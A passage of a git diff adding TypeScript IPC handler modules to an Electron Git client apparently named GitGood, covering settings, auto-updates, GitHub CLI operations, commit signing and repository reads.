'ai.releaseNotes': async (repoPath, input) => releaseNotes.generate(repoPath, input, (phase, message) => send('ai.progress', { repoPath, path: RELEASE_NOTES_PROGRESS_PATH, phase, message })), + 'repo.changelog.insert': async (repoPath, markdown) => { + const fsPath = toFsPath(repoPath, 'CHANGELOG.md'); + let existing: string | null = null; + try { + existing = await readFile(fsPath, 'utf8'); + } catch { + existing = null; + } + const { content, created } = insertIntoChangelog(existing, markdown); + await writeFile(fsPath, content, 'utf8'); + return { created }; + }, + 'gh.release.create': async (repoPath, opts) => gh.releaseCreate(await requireGitHub(repoPath), opts), + 'gh.release.view': async (repoPath, tag) => { + const ref = await repos.detectGitHub(repoPath); + return ref ? gh.releaseView(ref, tag) : null; + }, + 'ai.triage.get': async (repoPath) => triage.get(repoPath), + 'ai.triage.run': async (repoPath, numbers) => triage.run(repoPath, numbers, (e) => send('ai.triage.progress', e)), + 'ai.triage.clear': async (repoPath) => triage.clear(repoPath), + 'git.removeLockFile': async (repoPath) => errorExplain.removeLockFile(repoPath), + + // ---------------- ai command palette ---------------- + 'ai.nl.plan': async (repoPath, request, priorQuestion, answer) => nlPalette.plan(repoPath, request, priorQuestion, answer), + 'ai.nl.preview': async (repoPath, step) => nlPalette.preview(repoPath, step), + 'ai.nl.run': async (repoPath, plan, confirmedStepIds) => { + const resume = repos.pauseWatcher(repoPath); + try { + return await nlPalette.run(repoPath, plan, confirmedStepIds, (e) => send('ai.nl.progress', { ...e, repoPath })); + } finally { + resume(); + send('repo.changed', { repoPath, reason: 'both' }); + } + }, + } satisfies Partial; +} diff --git a/src/main/core/handlers/app.ts b/src/main/core/handlers/app.ts new file mode 100644 index 0000000..5334cce --- /dev/null +++ b/src/main/core/handlers/app.ts @@ -0,0 +1,174 @@ +import { existsSync } from 'node:fs'; +import { readFile, writeFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { difftoolArgs, launchGitTool } from '../../git/external-tools'; +import { toFsPath } from '../../git/diff'; +import * as ops from '../../git/operations'; +import { findEditors, openInEditor } from '../../integrations/editors'; +import { findShells, openShell } from '../../integrations/shells'; +import { getLogPath, log } from '../../logger'; +import { canonicalPath } from '../../repo/paths'; +import { sanitizeWatchedFolders } from '../../repo/watched-folders'; +import { canInstall } from '../../update/update-core'; +import type { OperationKind } from '@shared/types'; +import type { ApiMethods } from '@shared/ipc'; +import { operationControllers, type HandlerContext } from './context'; + +export function appHandlers(ctx: HandlerContext) { + const { errorExplain, explain, freshStatus, git, host, nlPalette, prDraft, rebasePlan, releaseNotes, repos, resolver, review, send, settingsSync, splitter, store, tools, triage, updater } = ctx; + return { + // ---------------- app ---------------- + 'app.info': async () => ({ version: host.appVersion(), electron: process.versions.electron ?? '', platform: process.platform, userDataPath: host.userDataPath(), logPath: getLogPath() }), + // Without awaiting the git probe, the first call would answer with the pre-scan state and the renderer + // would flash the "GitGood needs Git to run" setup screen. The other probes (gh, claude, gpg, …) are + // not awaited: they flag `pending` and arrive later as `tools.changed`. + 'app.tools': async (refresh) => { + if (refresh) return tools.refresh(); + await tools.ensure('git'); + return tools.current(); + }, + 'app.settings.get': async () => store.getSettings(), + 'app.settings.set': async (patch) => { + const before = store.getSettings(); + // Depth clamping, canonical paths and the no-duplicate/no-nesting rules + // hold whichever route the list arrives by, not only + // repos.watchedFolders.add — otherwise the two disagree about whether a + // symlink and its target are the same folder, and it gets walked twice. + if (patch.watchedFolders) { + // Dropped before the map rather than inside sanitizeWatchedFolders, + // because reading `f.path` off a malformed entry (a hand-edited + // settings.json) would throw out of the whole settings save. + const entries = (Array.isArray(patch.watchedFolders) ? patch.watchedFolders : []).filter((f) => f && typeof f.path === 'string'); + // A folder edited here keeps the display path it was registered with; + // one arriving without it (a hand-edited settings.json, an older file) + // is displayed by the path as written, which is what its author typed. + const canonical = await Promise.all(entries.map(async (f) => ({ ...f, path: await canonicalPath(f.path), displayPath: f.displayPath ?? f.path }))); + patch = { ...patch, watchedFolders: sanitizeWatchedFolders(canonical) }; + } + const next = store.updateSettings(patch); + if (patch.gitPath !== undefined || patch.ghPath !== undefined || patch.ai?.claudeCliPath !== undefined) { + void tools.refresh(); + } + if (patch.theme && patch.theme !== before.theme) { + host.setTheme(patch.theme); + } + return next; + }, + 'app.setApiKey': async (key) => { + store.setApiKey(key && key.trim() ? key.trim() : null); + return store.getSettings().ai; + }, + 'app.setOpenaiApiKey': async (key) => { + store.setOpenaiApiKey(key && key.trim() ? key.trim() : null); + return store.getSettings().ai; + }, + 'app.openExternal': async (url) => { + if (!/^https?:\/\//i.test(url)) throw new Error('Only http(s) links can be opened.'); + await host.openExternal(url); + }, + 'app.showItemInFolder': async (p) => host.showItemInFolder(p), + 'app.openPath': async (p) => host.openPath(p), + 'app.chooseDirectory': async (opts) => host.chooseDirectory(opts), + 'app.chooseFile': async (opts) => host.chooseFile(opts), + 'app.chooseSavePath': async (opts) => host.chooseSavePath(opts), + 'app.editors': async () => findEditors((await tools.env()).PATH), + 'app.shells': async () => findShells((await tools.env()).PATH), + 'app.openInEditor': async (repoPath, filePath) => { + const settings = store.getSettings(); + const editors = await findEditors((await tools.env()).PATH); + const editorPath = settings.externalEditor === 'custom' ? settings.customEditorPath : (editors.find((e) => e.id === settings.externalEditor) ?? editors[0])?.path; + if (!editorPath) throw new Error('No external editor was found. Configure one in Options → Integrations.'); + const target = filePath ? toFsPath(repoPath, filePath) : repoPath; + await openInEditor(editorPath, target); + }, + 'app.openInShell': async (repoPath) => { + const settings = store.getSettings(); + await openShell(settings.shell, settings.shell === 'custom' ? settings.customShellPath : null, repoPath, (await tools.env()).PATH); + }, + 'app.openDiffTool': async (repoPath, path, source) => { + toFsPath(repoPath, path); + await launchGitTool(git, repoPath, 'diff', difftoolArgs(path, source), () => {}); + }, + 'app.openMergeTool': async (repoPath, path) => { + toFsPath(repoPath, path); + await launchGitTool(git, repoPath, 'merge', ['mergetool', '--no-prompt', '--', path], () => send('repo.changed', { repoPath, reason: 'both' })); + }, + 'app.clipboard.write': async (text) => host.clipboardWrite(text), + 'app.pathExists': async (p) => existsSync(p), + 'app.isRepository': async (p) => (await ops.getTopLevel(git, p)) !== null, + 'app.joinPath': async (...parts) => join(...parts), + 'app.log': async (level, message) => log[level](`[renderer] ${message}`), + 'app.newWindow': async (repoId) => host.openWindow(repoId), + 'app.setShortcuts': async (overrides) => host.setMenuShortcuts(overrides), + 'app.zoom': async (direction) => { + const next = host.zoom(direction); + store.updateState({ zoomLevel: next }); + return next; + }, + 'app.notify': async (title, body) => { + if (process.env.GITGOOD_SMOKE_SCRIPT) return; // offscreen smoke runs must not raise desktop notifications + await host.notify(title, body); + }, + 'app.moveToTrash': async (p) => host.trashItem(p), + 'app.operations.cancel': async (id) => { + operationControllers.get(id)?.abort(); + }, + + // ---------------- auto-update ---------------- + 'app.update.state': async () => updater.getState(), + 'app.update.check': async () => updater.checkNow(true), + 'app.update.download': async () => { + if (updater.canAutoUpdate) { + await updater.startDownload(); + return; + } + const state = updater.getState(); + if (state.status === 'available') await host.openExternal(state.url); + }, + 'app.update.install': async () => { + // Every repository any client (desktop window or server client) has open, not just the last one opened. + const kinds: OperationKind[] = []; + for (const path of repos.openPaths().filter((p) => existsSync(p))) { + try { + kinds.push((await freshStatus(path)).operation.kind); + } catch (err) { + throw new Error(`Cannot install: could not check ${path} for an operation in progress (${(err as Error).message}).`); + } + } + const aiActive = resolver.isActive() || review.isActive() || triage.isActive() || prDraft.isActive() || releaseNotes.isActive() || explain.isActive() || errorExplain.isActive() || splitter.isActive() || rebasePlan.isActive() || nlPalette.isActive(); + for (const operationKind of kinds.length ? kinds : (['none'] as const)) { + const gate = canInstall({ operationKind, aiActive }); + if (!gate.ok) throw new Error(gate.reason); + } + // The last-opened repository (state.currentRepositoryId, set by repo.open) is what a relaunch reopens. + await updater.quitAndInstall(); + }, + 'app.update.dismiss': async (version) => updater.dismiss(version), + + // ---------------- settings export / import / gist sync ---------------- + 'settings.export': async (sections) => store.buildExport(sections, await repos.list(false)), + 'settings.exportToFile': async (path, sections) => { + const data = store.buildExport(sections, await repos.list(false)); + await writeFile(path, JSON.stringify(data, null, 2), 'utf8'); + }, + 'settings.previewImport': async (path, mode) => { + const raw = JSON.parse(await readFile(path, 'utf8')); + return store.previewImport(raw, await repos.list(false), mode); + }, + 'settings.import': async (path, mode, sections) => { + const raw = JSON.parse(await readFile(path, 'utf8')); + const settings = store.importSettings(raw, mode, sections); + if (sections.includes('repositories')) send('repos.changed', await repos.list()); + return settings; + }, + 'settings.sync.status': async () => settingsSync.status(), + 'settings.sync.enable': async () => settingsSync.enable(), + 'settings.sync.disable': async (deleteGist) => settingsSync.disable(deleteGist), + 'settings.sync.upload': async () => settingsSync.upload(), + 'settings.sync.download': async (mode) => { + const settings = await settingsSync.download(mode); + send('repos.changed', await repos.list()); + return settings; + }, + } satisfies Partial; +} diff --git a/src/main/core/handlers/context.ts b/src/main/core/handlers/context.ts new file mode 100644 index 0000000..6bc6739 --- /dev/null +++ b/src/main/core/handlers/context.ts @@ -0,0 +1,160 @@ +import { existsSync } from 'node:fs'; +import type { AppSettings, Commit, CommitFile, GitHubRepoRef, ProgressEvent, RepositoryStatus, WorkingFile } from '@shared/types'; +import { compareVersions } from '@shared/util'; +import { GitError } from '../../git/git'; +import { isUnborn } from '../../git/commit'; +import { toFsPath } from '../../git/diff'; +import { getCommit, getCommitFiles } from '../../git/log'; +import * as ops from '../../git/operations'; +import { getStatus } from '../../git/status'; +import { repoSelector } from '../../gh/gh'; +import { log } from '../../logger'; +import type { HandlerDeps } from './index'; + +const commitCache = new Map(); +/** Long-running operations (submodule update, LFS fetch/pull) keyed by their progress event id, cancellable via `app.operations.cancel`. */ +export const operationControllers = new Map(); + +export function createHandlerContext(deps: HandlerDeps) { + const { git, host, repos, store, tools } = deps; + const send = deps.emit; + const statusCache = new Map(); + + + const progress = (kind: ProgressEvent['kind'], title: string, repoPath: string | null) => { + const id = `${kind}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const emit = (percent: number | null, description: string, done = false) => send('progress', { id, kind, title, description, percent, done, repoPath }); + emit(null, 'Starting…'); + return { + id, + update: (percent: number | null, description: string) => emit(percent, description), + done: () => emit(1, 'Done', true), + }; + }; + + /** Runs a cancellable long operation, registering its AbortController under the progress event's id so `app.operations.cancel` can stop it. */ + const withCancellableProgress = async (kind: ProgressEvent['kind'], title: string, repoPath: string, fn: (onProgress: (percent: number | null, description: string) => void, signal: AbortSignal) => Promise): Promise => { + const p = progress(kind, title, repoPath); + const controller = new AbortController(); + operationControllers.set(p.id, controller); + try { + return await withBusy(repoPath, () => fn((pct, d) => p.update(pct, d), controller.signal)); + } finally { + operationControllers.delete(p.id); + p.done(); + } + }; + + const withBusy = async (key: string, fn: () => Promise): Promise => { + deps.busy.add(key); + try { + return await fn(); + } finally { + deps.busy.delete(key); + } + }; + + const freshStatus = async (repoPath: string): Promise => { + const status = await getStatus(git, repoPath); + statusCache.set(repoPath, { status, at: Date.now() }); + return status; + }; + + const findWorkingFile = async (repoPath: string, path: string): Promise => { + const cached = statusCache.get(repoPath); + let file = cached && Date.now() - cached.at < 5000 ? cached.status.files.find((f) => f.path === path) : undefined; + if (!file) file = (await freshStatus(repoPath)).files.find((f) => f.path === path); + if (!file) { + // File may have been reverted in the meantime; render whatever is on disk. + return { path, oldPath: null, status: 'modified', staged: false, unstaged: true, submodule: false, conflict: null, lfs: false }; + } + return file; + }; + + const requireGitHub = async (repoPath: string): Promise => { + const ref = await repos.detectGitHub(repoPath); + if (!ref) throw new GitError({ message: 'This repository does not have a GitHub remote.', command: '', exitCode: null, stderr: '', stdout: '', code: 'remote-not-found' }); + return ref; + }; + + /** Selector for `--repo` on issue/label/milestone commands: `owner` (a "login/name" string) overrides the repository at `repoPath`, used to target a fork's parent. */ + const issueSelector = async (repoPath: string, owner: string | null): Promise => { + const ref = await requireGitHub(repoPath); + if (!owner) return repoSelector(ref); + return ref.host === 'github.com' ? owner : `${ref.host}/${owner}`; + }; + + const commitInfo = async (repoPath: string, sha: string) => { + const withSignature = store.getSettings().historyVerifySignatures; + const key = `${repoPath}\0${sha}\0${withSignature}`; + const cached = commitCache.get(key); + if (cached) return cached; + const commit = await getCommit(git, repoPath, sha, withSignature); + const files = await getCommitFiles(git, repoPath, sha, commit.parents); + const entry = { commit, files }; + if (commitCache.size > 300) commitCache.delete(commitCache.keys().next().value!); + commitCache.set(key, entry); + return entry; + }; + + const pullRebaseFlag = async (repoPath: string): Promise => { + const behavior = store.getSettings().pullBehavior; + if (behavior === 'merge') return false; + if (behavior === 'rebase') return true; + return ops.getPullRebaseConfig(git, repoPath); + }; + + /** `git rebase --update-refs` arrived in git 2.38. */ + const gitCanUpdateRefs = (): boolean => { + const version = tools.current().git.version; + return !!version && compareVersions(version, '2.38.0') >= 0; + }; + + const stashBeforeCheckout = async (repoPath: string, strategy: AppSettings['uncommittedChangesStrategy']) => { + if (strategy !== 'stash') return; + const status = await freshStatus(repoPath); + if (!status.files.length) return; + await ops.stashPush(git, repoPath, 'Stashed before switching branches', true, null, status.branch.name); + }; + + const discardPaths = async (repoPath: string, paths: string[], moveToTrash: boolean) => { + const status = await freshStatus(repoPath); + const files = status.files.filter((f) => paths.includes(f.path) || (f.oldPath && paths.includes(f.oldPath))); + const tracked: string[] = []; + const untracked: string[] = []; + for (const f of files) { + if (f.status === 'untracked' || (f.status === 'new' && f.staged)) untracked.push(f.path); + else { + tracked.push(f.path); + if (f.oldPath) tracked.push(f.oldPath); + } + if (moveToTrash && f.status !== 'deleted') { + const fs = toFsPath(repoPath, f.path); + if (existsSync(fs)) { + try { + await host.trashItem(fs); + } catch (err) { + log.warn(`Could not move ${fs} to trash: ${(err as Error).message}`); + } + } + } + } + const unborn = await isUnborn(git, repoPath); + if (untracked.length) { + if (!unborn) await git.tryRun(repoPath, ['reset', '-q', '--', ...untracked]); + else await git.tryRun(repoPath, ['rm', '-r', '--cached', '-q', '--', ...untracked]); + await git.run(repoPath, ['clean', '-f', '-d', '-q', '--', ...untracked]); + } + if (tracked.length) { + if (unborn) await git.run(repoPath, ['rm', '-r', '--cached', '-q', '--', ...tracked]); + else { + await git.tryRun(repoPath, ['reset', '-q', '--', ...tracked]); + await git.run(repoPath, ['checkout', 'HEAD', '--', ...tracked]); + } + } + }; + + return { ...deps, send, progress, withCancellableProgress, withBusy, freshStatus, findWorkingFile, requireGitHub, issueSelector, commitInfo, pullRebaseFlag, gitCanUpdateRefs, stashBeforeCheckout, discardPaths }; +} + +export type HandlerContext = ReturnType; diff --git a/src/main/core/handlers/gh.ts b/src/main/core/handlers/gh.ts new file mode 100644 index 0000000..6c03aad --- /dev/null +++ b/src/main/core/handlers/gh.ts @@ -0,0 +1,112 @@ +import { discoverIssueTemplates } from '../../gh/issue-templates'; +import { getCurrentBranchName } from '../../git/branches'; +import { isUnborn } from '../../git/commit'; +import { findPullRequestTemplate } from '../../gh/pr-template'; +import type { ApiMethods } from '@shared/ipc'; +import type { HandlerContext } from './context'; + +export function ghHandlers(ctx: HandlerContext) { + const { gh, git, inbox, issueSelector, repos, requireGitHub, review, send, store, tools, withBusy } = ctx; + return { + // ---------------- gh ---------------- + 'gh.auth.status': async () => gh.account(), + 'gh.auth.login': async (host) => { + const result = await gh.login(host, (code, url) => send('gh.auth.code', { code, url })); + await tools.refreshAuth(); + send('gh.auth.finished', result); + return result; + }, + 'gh.auth.cancelLogin': async () => gh.cancelLogin(), + 'gh.auth.logout': async (host, login) => { + await gh.logout(host, login); + await tools.refreshAuth(); + store.clearInboxCache(); // the inbox belongs to whichever account is active now + inbox.resetCache(); + }, + 'gh.auth.switch': async (host, login) => { + await gh.switchAccount(host, login); + await tools.refreshAuth(); + store.clearInboxCache(); + inbox.resetCache(); + }, + 'gh.auth.setupGit': async () => { + await gh.setupGit(); + await tools.refreshAuth(); + }, + 'gh.auth.refreshScopes': async (scopes) => { + const host = tools.current().ghAccount?.host ?? 'github.com'; + const result = await gh.refreshScopes(host, scopes, (code, url) => send('gh.auth.code', { code, url })); + await tools.refreshAuth(); + send('gh.auth.finished', result); + return result; + }, + 'gh.repos.list': async () => gh.viewerRepositories(), + 'gh.orgs.list': async () => gh.organizations(), + 'gh.repo.view': async (repoPath) => { + const ref = await repos.detectGitHub(repoPath); + return ref ? gh.repoView(ref) : null; + }, + 'gh.repo.publish': async (repoPath, opts) => { + const unborn = await isUnborn(git, repoPath); + const ref = await gh.publish(repoPath, opts, !unborn); + await repos.refreshGitHub(repoPath); + if (!unborn) { + const branch = await getCurrentBranchName(git, repoPath); + if (branch) await git.tryRun(repoPath, ['branch', `--set-upstream-to=origin/${branch}`, branch]); + } + return ref; + }, + 'gh.repo.fork': async (repoPath) => { + const ref = await gh.fork(repoPath); + await repos.refreshGitHub(repoPath); + return ref; + }, + 'gh.pr.list': async (repoPath, state) => gh.prList(await requireGitHub(repoPath), state), + 'gh.pr.forBranch': async (repoPath, branch) => { + const ref = await repos.detectGitHub(repoPath); + return ref ? gh.prForBranch(ref, branch) : null; + }, + 'gh.pr.view': async (repoPath, number) => gh.prView(await requireGitHub(repoPath), number), + 'gh.pr.checks': async (repoPath, number) => gh.prChecks(await requireGitHub(repoPath), number), + 'gh.pr.checkout': async (repoPath, number) => withBusy(repoPath, () => gh.prCheckout(repoPath, number)), + 'gh.pr.create': async (repoPath, opts) => gh.prCreate(repoPath, opts), + 'gh.pr.merge': async (repoPath, number, method, deleteBranch, auto) => gh.prMerge(await requireGitHub(repoPath), number, method, deleteBranch, auto), + 'gh.pr.disableAutoMerge': async (repoPath, number) => gh.prDisableAutoMerge(await requireGitHub(repoPath), number), + 'gh.pr.ready': async (repoPath, number, ready) => gh.prReady(await requireGitHub(repoPath), number, ready), + 'gh.pr.close': async (repoPath, number) => gh.prClose(await requireGitHub(repoPath), number), + 'gh.pr.reopen': async (repoPath, number) => gh.prReopen(await requireGitHub(repoPath), number), + 'gh.pr.review': async (repoPath, number, action, body) => gh.prReview(await requireGitHub(repoPath), number, action, body), + 'gh.pr.comment': async (repoPath, number, body) => gh.prComment(await requireGitHub(repoPath), number, body), + 'gh.pr.diff': async (repoPath, number) => review.prFiles(repoPath, number), + 'gh.pr.fileDiff': async (repoPath, number, path, opts) => review.prFileDiff(repoPath, number, path, opts), + 'gh.pr.template': async (repoPath) => findPullRequestTemplate(repoPath), + 'gh.gitignoreTemplates': async () => gh.gitignoreTemplates(), + 'gh.licenses': async () => gh.licenses(), + 'gh.avatar': async (email) => gh.avatarForEmail(email), + 'gh.issue.createUrl': async (repoPath) => { + const ref = await repos.detectGitHub(repoPath); + return ref ? `${ref.url}/issues/new` : null; + }, + 'gh.issue.list': async (repoPath, filter, owner, beforeUpdatedAt) => gh.issueList(await issueSelector(repoPath, owner), filter, beforeUpdatedAt), + 'gh.issue.view': async (repoPath, number, owner) => gh.issueDetail(await issueSelector(repoPath, owner), number), + 'gh.issue.create': async (repoPath, opts, owner) => gh.issueCreate(await issueSelector(repoPath, owner), opts), + 'gh.issue.setState': async (repoPath, number, state, owner) => gh.issueSetState(await issueSelector(repoPath, owner), number, state), + 'gh.issue.comment': async (repoPath, number, body, owner) => gh.issueCommentAdd(await issueSelector(repoPath, owner), number, body), + 'gh.labels': async (repoPath, owner) => gh.labelList(await issueSelector(repoPath, owner)), + 'gh.milestones': async (repoPath, owner) => gh.milestoneList(await issueSelector(repoPath, owner)), + 'gh.issue.templates': async (repoPath) => discoverIssueTemplates(repoPath), + 'app.issueFilters.get': async (repoId) => store.getIssueFilter(repoId), + 'app.issueFilters.set': async (repoId, filter) => store.setIssueFilter(repoId, filter), + + // ---------------- notifications inbox ---------------- + 'gh.inbox.get': async () => inbox.getState(), + 'gh.inbox.refresh': async () => inbox.refresh(), + 'gh.inbox.markRead': async (threadIds) => inbox.markRead(threadIds), + 'gh.inbox.markAllRead': async () => inbox.markAllRead(), + 'gh.inbox.unsubscribe': async (threadId) => inbox.unsubscribe(threadId), + 'app.inbox.clearCache': async () => { + store.clearInboxCache(); + inbox.resetCache(); + }, + } satisfies Partial; +} diff --git a/src/main/core/handlers/gitRead.ts b/src/main/core/handlers/gitRead.ts new file mode 100644 index 0000000..f8c70d6 --- /dev/null +++ b/src/main/core/handlers/gitRead.ts @@ -0,0 +1,174 @@ +import { mkdir } from 'node:fs/promises'; +import { homedir } from 'node:os'; +import { dirname, join } from 'node:path'; +import type { DiffOptions, HistoryOptions } from '@shared/ipc'; +import { GitError } from '../../git/git'; +import { bisectHistoryRef, getBisectState } from '../../git/bisect'; +import { getBlameResult, readFileAtCommit } from '../../git/blame'; +import { getBranches, getDefaultBranch, getStackParents } from '../../git/branches'; +import { readCommitTemplate } from '../../git/commit'; +import { getCommitFileDiff, getRangeFileDiff, getRangeFiles, getStashFileDiff, getStashFiles, getWorkingDiff, toFsPath } from '../../git/diff'; +import { findLargestBlobs, getHousekeeping, getStaleBranches } from '../../git/health'; +import { getLfsFiles, getLfsStatus } from '../../git/lfs'; +import { compareRefs, getHistory, getMatchingFiles, getPathHistory, isCommitPushed } from '../../git/log'; +import * as ops from '../../git/operations'; +import { getReflog, getUndoPlan } from '../../git/reflog'; +import { gpgKeyExists, listGpgSecretKeys, listSshPublicKeys, normalizeSshSigningKey, sshKeyFileExists, testGpgSigning, testSshSigning } from '../../git/signing'; +import { getSubmodules } from '../../git/submodules'; +import { currentClient } from '../client-context'; +import { listWorktrees } from '../../git/worktree'; +import { readRepoConfig } from '../../repo/config'; +import { assertInsideRepo, readRepoFile, writeRepoFile } from '../../repo/paths'; +import type { ApiMethods } from '@shared/ipc'; +import type { HandlerContext } from './context'; + +/** Per-client, per-repository "latest history request wins": a new `repo.history` call aborts whatever git process the same client's previous one started, never another client's. */ +const historyControllers = new Map(); + +export function gitReadHandlers(ctx: HandlerContext) { + const { commitInfo, findWorkingFile, freshStatus, git, gitCanUpdateRefs, repos, tools, withCancellableProgress } = ctx; + return { + // ---------------- repository reads ---------------- + 'repo.open': async (path) => { + const info = await repos.open(path); + return (await readRepoConfig(path)).ai ? info : { ...info, aiConfigOff: true }; + }, + 'repo.close': async (path) => repos.release(path), + 'repo.status': async (repoPath) => freshStatus(repoPath), + 'repo.branches': async (repoPath) => getBranches(git, repoPath), + 'repo.defaultBranch': async (repoPath) => getDefaultBranch(git, repoPath), + 'repo.stack': async (repoPath) => ({ parents: await getStackParents(git, repoPath), canUpdateRefs: gitCanUpdateRefs() }), + 'repo.tags': async (repoPath) => ops.getTags(git, repoPath), + 'repo.remotes': async (repoPath) => ops.getRemotes(git, repoPath), + 'repo.stashes': async (repoPath) => ops.getStashes(git, repoPath), + 'repo.history': async (repoPath, opts: HistoryOptions) => { + const key = `${currentClient()}\0${repoPath}`; + historyControllers.get(key)?.abort(); + const controller = new AbortController(); + historyControllers.set(key, controller); + try { + return await getHistory(git, repoPath, opts.ref ? opts : { ...opts, ref: await bisectHistoryRef(git, repoPath) }, controller.signal); + } finally { + if (historyControllers.get(key) === controller) historyControllers.delete(key); + } + }, + 'repo.history.matchingFiles': async (repoPath, sha, query) => getMatchingFiles(git, repoPath, sha, query), + 'repo.commit.details': async (repoPath, sha) => { + const { commit, files } = await commitInfo(repoPath, sha); + return { commit, files, pushed: await isCommitPushed(git, repoPath, sha) }; + }, + 'repo.commit.diff': async (repoPath, sha, path, opts: DiffOptions) => { + const { commit, files } = await commitInfo(repoPath, sha); + const file = files.find((f) => f.path === path) ?? { path, oldPath: null, status: 'modified' as const, additions: null, deletions: null, binary: false, lfs: false }; + return getCommitFileDiff(git, repoPath, sha, commit.parents, file, opts); + }, + 'repo.diff.working': async (repoPath, path, opts) => getWorkingDiff(git, repoPath, await findWorkingFile(repoPath, path), opts), + 'repo.diff.stash': async (repoPath, stashRef, path, opts) => getStashFileDiff(git, repoPath, stashRef, path, opts), + 'repo.diff.range': async (repoPath, base, head, path, opts) => { + // The whole range, not just `path`: rename detection needs the old path in the diff to pair it with the new one. + const file = (await getRangeFiles(git, repoPath, base, head)).find((f) => f.path === path) ?? { path, oldPath: null, status: 'modified' as const, additions: null, deletions: null, binary: false, lfs: false }; + return getRangeFileDiff(git, repoPath, base, head, file, opts); + }, + 'repo.diff.rangeFiles': async (repoPath, base, head) => getRangeFiles(git, repoPath, base, head), + 'repo.commitTemplate': async (repoPath) => readCommitTemplate(git, repoPath), + 'repo.stash.files': async (repoPath, stashRef) => getStashFiles(git, repoPath, stashRef), + 'repo.stash.resolveRef': async (repoPath, sha) => ops.resolveStashRef(git, repoPath, sha), + 'repo.reflog': async (repoPath) => getReflog(git, repoPath), + 'repo.undoPlan': async (repoPath) => getUndoPlan(git, repoPath), + 'repo.bisect': async (repoPath) => getBisectState(git, repoPath), + 'repo.compare': async (repoPath, base, head) => compareRefs(git, repoPath, base, head), + 'repo.readFile': async (repoPath, path) => { + toFsPath(repoPath, path); + const buf = await readRepoFile(repoPath, path); + if (!buf) throw new Error(`Cannot read ${path}: missing, a symbolic link, or outside the repository`); + return buf.toString('utf8'); + }, + 'repo.writeFile': async (repoPath, path, content) => { + const fsPath = toFsPath(repoPath, path); + await assertInsideRepo(repoPath, fsPath); + await mkdir(dirname(fsPath), { recursive: true }); + await writeRepoFile(repoPath, path, content); + }, + 'repo.gitignore.read': async (repoPath) => ops.readGitignore(repoPath), + 'repo.gitignore.write': async (repoPath, content) => ops.writeGitignore(repoPath, content), + 'repo.gitignore.add': async (repoPath, patterns) => ops.appendGitignore(repoPath, patterns), + 'repo.config': async (repoPath) => ops.getConfigIdentity(git, repoPath), + 'repo.config.setIdentity': async (repoPath, scope, name, email) => ops.setConfigIdentity(git, repoPath, scope, name, email), + 'repo.config.unsetLocalIdentity': async (repoPath) => ops.unsetLocalIdentity(git, repoPath), + 'repo.signing.get': async (repoPath) => ops.getSigningConfig(git, repoPath || null), + 'repo.signing.set': async (repoPath, scope, patch) => { + const nextPatch = { ...patch }; + if (nextPatch.key !== undefined && nextPatch.key) { + const format = nextPatch.format ?? (await ops.getSigningConfig(git, repoPath)).effective.format; + if (format === 'openpgp') { + const gpgPath = (await tools.ensure('gpg')).path; + if (!gpgPath) throw new GitError({ message: 'GPG was not found, so the key could not be verified. Install GnuPG or set its location.', command: '', exitCode: null, stderr: '', stdout: '', code: 'tool-missing' }); + const ok = await gpgKeyExists(gpgPath, await tools.env(), nextPatch.key); + if (!ok) throw new GitError({ message: `No secret key "${nextPatch.key}" was found in the GPG keyring.`, command: '', exitCode: null, stderr: '', stdout: '', code: 'signing-key-missing' }); + } else if (format === 'ssh') { + nextPatch.key = normalizeSshSigningKey(nextPatch.key); + if (!nextPatch.key.startsWith('key::') && !(await sshKeyFileExists(nextPatch.key))) { + throw new GitError({ message: `The SSH key file "${nextPatch.key}" was not found.`, command: '', exitCode: null, stderr: '', stdout: '', code: 'signing-key-missing' }); + } + } + } + await ops.setSigningConfig(git, repoPath, scope, nextPatch); + }, + 'app.signing.keys': async (format, email) => { + const list = + format === 'openpgp' + ? await (async () => { + const gpgPath = (await tools.ensure('gpg')).path; + if (!gpgPath) throw new Error('GPG was not found. Install GnuPG or set its location in Options → Advanced.'); + return listGpgSecretKeys(gpgPath, await tools.env()); + })() + : await listSshPublicKeys(join(homedir(), '.ssh')); + if (!email) return list; + const norm = email.trim().toLowerCase(); + return [...list].sort((a, b) => Number(b.email?.toLowerCase() === norm) - Number(a.email?.toLowerCase() === norm)); + }, + 'app.signing.test': async (repoPath) => { + const config = (await ops.getSigningConfig(git, repoPath)).effective; + if (!config.format || !config.key) return { ok: false, message: 'Configure a signing format and key first.', needsPassphrase: false }; + if (config.format === 'openpgp') { + const gpgPath = (await tools.ensure('gpg')).path; + if (!gpgPath) return { ok: false, message: 'GPG was not found. Install GnuPG or set its location in Options → Advanced.', needsPassphrase: false }; + return testGpgSigning(gpgPath, config.key, await tools.env()); + } + if (config.format === 'ssh') { + const sshKeygenPath = (await tools.ensure('sshKeygen')).path; + if (!sshKeygenPath) return { ok: false, message: 'ssh-keygen was not found. Install OpenSSH 8.8+ to use SSH commit signing.', needsPassphrase: false }; + if (config.key.startsWith('key::')) return { ok: false, message: 'Test signing needs a key file path; a pasted key can only be tested by making a real commit.', needsPassphrase: false }; + return testSshSigning(sshKeygenPath, config.key, await tools.env()); + } + return { ok: false, message: `Signing format "${config.format}" is not supported yet.`, needsPassphrase: false }; + }, + 'repo.remote.set': async (repoPath, name, url) => { + await git.run(repoPath, ['remote', 'set-url', name, url]); + await repos.refreshGitHub(repoPath); + }, + 'repo.remote.add': async (repoPath, name, url) => { + await git.run(repoPath, ['remote', 'add', name, url]); + await repos.refreshGitHub(repoPath); + }, + 'repo.remote.remove': async (repoPath, name) => { + await git.run(repoPath, ['remote', 'remove', name]); + await repos.refreshGitHub(repoPath); + }, + 'repo.worktrees': async (repoPath) => listWorktrees(git, repoPath), + 'repo.blame': async (repoPath, path, rev, ignoreWhitespace) => getBlameResult(git, repoPath, path, rev, ignoreWhitespace), + 'repo.fileAtCommit': async (repoPath, sha, path) => readFileAtCommit(git, repoPath, sha, path), + 'repo.pathHistory': async (repoPath, path) => getPathHistory(git, repoPath, path), + 'repo.submodules': async (repoPath) => { + const origin = (await ops.getRemotes(git, repoPath)).find((r) => r.name === 'origin'); + return getSubmodules(git, repoPath, origin?.fetchUrl || origin?.pushUrl || null); + }, + 'repo.submodule.open': async (repoPath, submodulePath) => repos.openSubmodule(repos.getByPath(repoPath)?.id ?? (await repos.add(repoPath)).id, toFsPath(repoPath, submodulePath)), + 'repo.lfs.status': async (repoPath) => getLfsStatus(git, repoPath, await tools.ensure('gitLfs')), + 'repo.lfs.files': async (repoPath) => getLfsFiles(git, repoPath), + 'repo.health.largeFiles': async (repoPath, limit) => 